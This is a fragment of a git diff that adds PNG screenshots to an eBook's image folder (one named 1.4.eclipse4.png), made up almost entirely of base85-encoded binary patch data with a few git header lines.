ze7sL;!{KAD;u}3uz&VhUsFdRSt2?Bq=sz4z1HO^aSf7A*%o~=bozV~|A&k=Bqu_n2 zjTn5^hzXSYcL>dtPvdKaXPJ}!K@&f>@4*ruC9>rjFpi+35vN|#B=WVYGd=A{mdh9@GQzRw>;mx@i{~Os8G^rGzx&CgB04xy-JtsYSW6n!q9#%d=S=jGC6jXEEe-IRmf^7;d(5 zFLSp*H~-ChlQ%VFdmrWeyveebvdwbTP7wRP#@9VBH8*C+m6_%}g! zcRg))J$dKTkUyu%Tn4>2VYmbX>kP`2yc2~ktu+5Uq{C2hwb>^mXhi_aK*@f zI_h0}E3Z=Q%E=@4rk%We*3N@;wVYJNxr)d4?OAU3Nqj6vvP348KCdT#XWjZXW9xI@ zzDmp=D+PKi@-nUfRXc5LcHQOsEr*73GPkOdN>%Yoj-)S@IO;enZ&OhzWN2mA+^74IFRPO-^O1(=5rfN=6lMjQ~F(LMuH_6=?jspN!|) zq*3n7lA`hI4aRWt5&c&S&Rh+??|SFAJ7WG)v=CGhUV40Vh!O$UzsWZR3J_O^Kk4xn zM7+r?Rt!RVdRnC?;Q}a_tQ}@5(PrALqbN)fr7NQhYsI6|Zf#cWiKLF-c8L^4=O9}&s7~9hP6BX*#NiTtQ3xpl!Z!5H(Z>=5|P%1il!Fu#u>eez&`K0uh=e&9ygidZ L?J&u&R} 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 XjKPzAVSH#@00000NkvXXu0mjf0gI)( literal 0 HcmV?d00001 diff --git a/en/eBook/images/1.4.eclipse4.png b/en/eBook/images/1.4.eclipse4.png new file mode 100644 index 0000000000000000000000000000000000000000..d4ee77af1952b04356919fd5ec80d98fbd875da4 GIT binary patch literal 106094 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 